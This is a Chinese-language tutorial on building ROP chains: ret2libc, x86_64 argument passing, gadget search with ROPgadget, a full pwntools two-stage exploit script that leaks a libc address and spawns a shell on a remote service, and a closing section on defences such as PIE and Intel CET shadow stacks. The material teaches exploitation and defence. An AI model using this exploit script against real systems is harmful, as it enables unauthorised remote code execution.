ROP 链构造思路(一):从 ret2libc 到基础 Gadget 搜寻与拼装

封面信息图

在现代操作系统的安全加固中,NX/DEP(No-Execute / 数据执行保护)使得堆栈等可写内存区域不再具备执行代码的权限。传统的“将 Shellcode 写入栈并跳转执行”的攻击方式彻底失效。为了绕过可执行权限限制,面向返回编程(ROP, Return-Oriented Programming)应运而生。

ROP 的核心思想是不注入新代码,而是复用目标二进制程序及其动态依赖库(如 libc)中既有的机器指令片段。这些以 ret(返回指令)结尾的代码片段被称为 Gadget。通过在栈上精心编排各个 Gadget 的地址与参数,攻击者可以像搭积木一样串联起完整的任意代码执行逻辑。

一、从 ret2text 到 ret2libc 的跃迁

在最基础的漏洞利用中,如果二进制程序本身包含未导出的调试函数(如 backdoor() 或 system("/bin/sh")),攻击者只需将栈上的返回地址覆盖为该函数地址(即 ret2text)。但在绝大多数生产发布版本中,程序不会自带后门。此时攻击者需要将视线转移到动态链接库——libc.so。

1. x86_64 函数调用约定与传参差异

构造 ROP 链前必须明确目标架构的调用规范:

  • x86 (32位):函数参数通过栈传递。调用 system("/bin/sh") 时,栈布局为:[system_addr] + [fake_return_addr] + [arg1_ptr]。
  • x64 (64位 System V AMD64 ABI):前 6 个整数参数依次通过通用寄存器传递:RDI, RSI, RDX, RCX, R8, R9。因此在 64 位程序中调用 system(rdi) 之前,必须先找到一个将栈顶数据弹入 RDI 的 Gadget,即 pop rdi; ret。
64 位 ret2libc 栈构造模型:

栈顶 (低地址)  +-----------------------------------+
             |  Gadget 1: pop rdi; ret 地址       |  <--- 覆盖原返回地址
             +-----------------------------------+
             |  参数: "/bin/sh" 字符串内存地址    |  <--- pop rdi 取出的值
             +-----------------------------------+
             |  Gadget 2: ret (用于 16 字节对齐)   |  <--- 满足 SSE 指令集对齐
             +-----------------------------------+
             |  函数: system() 在 libc 中的实际地址|  <--- 跳转执行目标逻辑
栈底 (高地址)  +-----------------------------------+

二、基础 Gadget 的搜索与提取

在实际对抗中,我们通常使用工具(如 ROPgadget 或 ropper)在 ELF 二进制文件及依赖库中检索有价值的指令片段。

1. 核心控制类 Gadget

  • 参数装载 Gadget:pop rdi; ret、pop rsi; pop r15; ret、pop rdx; ret
  • 内存读写 Gadget:mov [rdi], rsi; ret(用于将任意数据写入全局可写段如 .bss)
  • 算术与状态重置:xor eax, eax; ret、add rax, rbx; ret
# 在 libc 中搜索 pop rdi 指令
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | grep rdi
# 0x000000000002a3e5 : pop rdi ; ret

# 搜索 /bin/sh 字符串偏移
strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
# 1d8678 /bin/sh

三、利用 pwntools 组装完整的 ROP Exploit 链

在开启了 ASLR(地址空间布局随机化)的环境下,libc 在每次程序启动时的加载基址都是随机的。标准的利用需要分为两阶段:

  1. 阶段一(信息泄露):利用程序自带的打印函数(如 puts 或 write)输出全局偏移表(GOT, Global Offset Table)中已解析的函数地址,计算出当前进程的 libc_base。
  2. 阶段二(提权执行):获得真实 libc 基址后,重新将控制流导回易损函数,构造 system("/bin/sh") 的完整执行链。
from pwn import *

# 配置目标环境架构
context.arch = 'amd64'
context.os = 'linux'

def build_rop_exploit(target_binary: str, host: str, port: int):
    elf = ELF(target_binary)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    p = remote(host, port)

    # 关键符号与 Gadget 偏移定义
    offset = 72 # 栈溢出到达返回地址的字节偏移
    pop_rdi_ret = 0x40120b # 程序本身的 Gadget (未开启 PIE)
    ret_gadget = 0x40101a  # 栈对齐 Gadget
    puts_plt = elf.plt['puts']
    puts_got = elf.got['puts']
    main_func = elf.symbols['main']

    # --- 阶段一:泄露 puts 在 libc 中的真实地址 ---
    payload_leak = flat([
        b'A' * offset,
        pop_rdi_ret,
        puts_got,
        puts_plt,
        main_func # 重新回到 main 函数,保持进程存活
    ])

    p.sendlineafter(b"Input: ", payload_leak)
    leak_raw = p.recvline().strip()
    puts_leak_addr = u64(leak_raw.ljust(8, b'\x00'))
    
    # 计算 libc 真实基址
    libc.address = puts_leak_addr - libc.symbols['puts']
    print(f"[+] 成功泄露 libc 基址: {hex(libc.address)}")

    # --- 阶段二:构造 system("/bin/sh") 调用链 ---
    system_addr = libc.symbols['system']
    binsh_addr = next(libc.search(b'/bin/sh\x00'))

    payload_exec = flat([
        b'A' * offset,
        ret_gadget,    # 栈对齐(Ubuntu 18.04+ system 函数内部 movaps 需要 rsp & 0xF == 0)
        pop_rdi_ret,
        binsh_addr,
        system_addr
    ])

    p.sendlineafter(b"Input: ", payload_exec)
    p.interactive() # 获得交互式 Shell

四、防御与对抗阻断方案

针对 ROP 攻击的底层依赖,现代防御体系在软硬件层面建立了立体阻断能力:

  1. 全面开启 PIE(位置无关可执行文件):确保主程序二进制代码段同样被随机化,使攻击者无法直接利用主程序的静态 Gadget。
  2. 硬件级控制流完整性(Intel CET / Shadow Stack):现代 CPU(如 Intel Tiger Lake 及以上)引入影子栈(Shadow Stack)技术。当函数调用时,返回地址会被同时压入物理主栈和由硬件特权管理的只读影子栈;当执行 ret 时,硬件比对两栈地址,若发生 ROP 篡改立即触发 #CP(Control Protection)异常。
  3. 细粒度 ASLR 与指针重排:在内核加载与编译阶段打乱动态库内部函数与基本块的相对顺序,破坏离线搜寻的 Gadget 链条。
Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐